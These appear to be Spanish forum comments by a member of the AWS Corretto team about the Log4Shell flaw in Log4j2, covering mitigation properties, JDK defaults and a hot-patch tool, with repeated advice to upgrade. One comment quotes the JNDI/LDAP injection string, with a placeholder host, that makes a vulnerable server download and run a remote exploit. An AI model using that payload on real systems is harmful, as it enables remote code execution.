#45 para añadir más detalle, aunque es muy cómodo montar un servidor ldap que genere comandos dinámicos, tiene el inconveniente (o más bien ventaja para el pobre que está intentando paliar el problema)de dejar un rastro claro en el log de los comandos que se ejecutaron
#42 vale, acabo de leer hasta el final y creo que he encontrado lo que puede haberte llevado a confusión. Muestran logs donde se ve algo parecido a ${jndi:ldap://<ip>/<comando_en_base64>}.
Lo que ocurre en este caso no es que el servidor ejecute directamente el comando en base 64 que está ahí, sino que alguien ha creado un servidor ldap en <ip> que cuando le preguntas por <comando_en_base64> El servidor ldap responde con un exploit generado dinámicamente para ejecutar ese comando. Pero la máquina atacada sigue teniendo que conectar a ldap://<ip>/<comando_en_base64> y descargar el exploit.
By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload.
#37 creo que puedo decir sin miedo a equivocarme que conozco esta vulnerabilidad extremadamente bien, y no funciona como dices. Si tienes el enlace, puedo echar un vistazo, ver exactamente qué comentan, pero estoy convencido que hablan de la vulnerabilidad de ejecución remota que todos conocemos
#29 imagino que Tomcat tendrá algún lugar donde se configuran los parámetros de arranque, pero personalmente no he trabajado nunca con tomcat, no sabría decirte donde es
#28 como te digo, no es que no funcione en 7, es mas que no hemos tenido tiempo de probarlo, ya que no publicamos binarios de Corretto basados en OpenJDK7. Así de cabeza no se me ocurre por que no iba a funcionar en 7. Si es importante para vosotros, prueba en una máquina de desarrollo
#22 son parámetros que pasas a la máquina virtual de Java al arrancar, después de java y antes de la clase que quieres que se ejecute (o antes de -jar si estas ejecutando un jar)
#16 imagino que se refiere a si la utilidad (que funciona adjuntándose a la máquina virtual y redefiniendo el bytecode de JndiLookup::lookup) funciona con JDK1.7 o no, no si Log4Shell le afecta
#8 la propiedad clave, log4j2.formatMsgNoLookups, se añadió en log4j 2.10. Si usas una versión anterior poner la propiedad no tendrá ningún efecto y seguiréis siendo vulnerables
#4 un pequeño recordatorio, el parche no persiste si se reinicia la máquina virtual. Es posible aplicar el parche en modo agente pasando un parámetro a la hora de arrancar, pero si vas a parar la máquina y puedes, la recomendación es actualizar log4j
#14 Hemos probado la utilidad en 8, 11 y 15. Cuando tengamos algo de tiempo subiremos la versión que soporta 17 en caliente, ya que la que hay ahora en github para 17 solo funciona en modo agente.
No se me ocurre un motivo por el que no vaya a funcionar en 7, pero no la hemos probado
#34 Esa variable solo es valida para log4j2.10 y superior, en versiones anteriores no esta presente. Nuestro parche bloquea llamadas jndi que se hacen a base de interpretar Strings
#1 Eso solo es posible contra versiones de OpenJDK que esten configuradas para aceptarlo. Desde OpenJDK 8u191 la configuracion por defecto es deshabilitarlo. Como referencia, esa version tiene mas de tres años.
Aun asi, eso no significa que utilizando una version de OpenJDK mas nueva se este completamente a salvo. La vulnerabilidad en Log4j sigue siendo critica y la recomendacion es actualizar Log4j
Desde el equipo de AWS Corretto hemos sacado una utilidad que permite parchear este fallo de seguridad en caliente, sin necesidad de reiniciar la maquina virtual de java: github.com/corretto/hotpatch-for-apache-log4j2
Esto puede ser util para aquellos que tienen servicios criticos que no pueden parar fuera de ventanas de mantenimiento, casos de aplicaciones que se distribuyen con todas sus dependencias y para las que aun no hay un parche o casos donde copias de las clases de log4j estan presentes en un namespace distinto
#77 Hola. Aunque es verdad que lo que describes era posible con antiguas versiones de OpenJDK, ese no es el caso en versiones de OpenJDK desde hace varios años, y otras alternativas tienen que ser utilizadas
Dudo que quede alguien leyendo por aqui, pero esta es una herramienta publicada por el equipo de AWS Corretto (del que formo parte) que permite parchear esta vulnerabilidad en caliente, sin reiniciar la maquina virtual de java: github.com/corretto/hotpatch-for-apache-log4j2
#55 No recomendaria a nadie intentar determinar si estas afectado o no por este problema analizando el comportamiento de tu aplicacion y lo que intenta guardar en los logs. Personalmente recomendaria aquellos utilizando log4j2 que asuman que estan afectados y actualizen
#35 No es necesaria ninguna accion especialmente extraña con Log4j2 para estar afectado por este problema. Si utilizas log4j2, asume que estas afectado por este problema (porque casi seguro, lo estas). La unica opcion es actualizar log4j2 a 2.15+
Tu mensaje no es correcto. El fallo de log4j2 es critico, y en muchas ocasiones puede utilizarse independientemente de la version de OpenJDK en la que esta corriendo log4j2. La unica opción segura es actualizar Log4j2
La utilidad:
github.com/corretto/hotpatch-for-apache-log4j2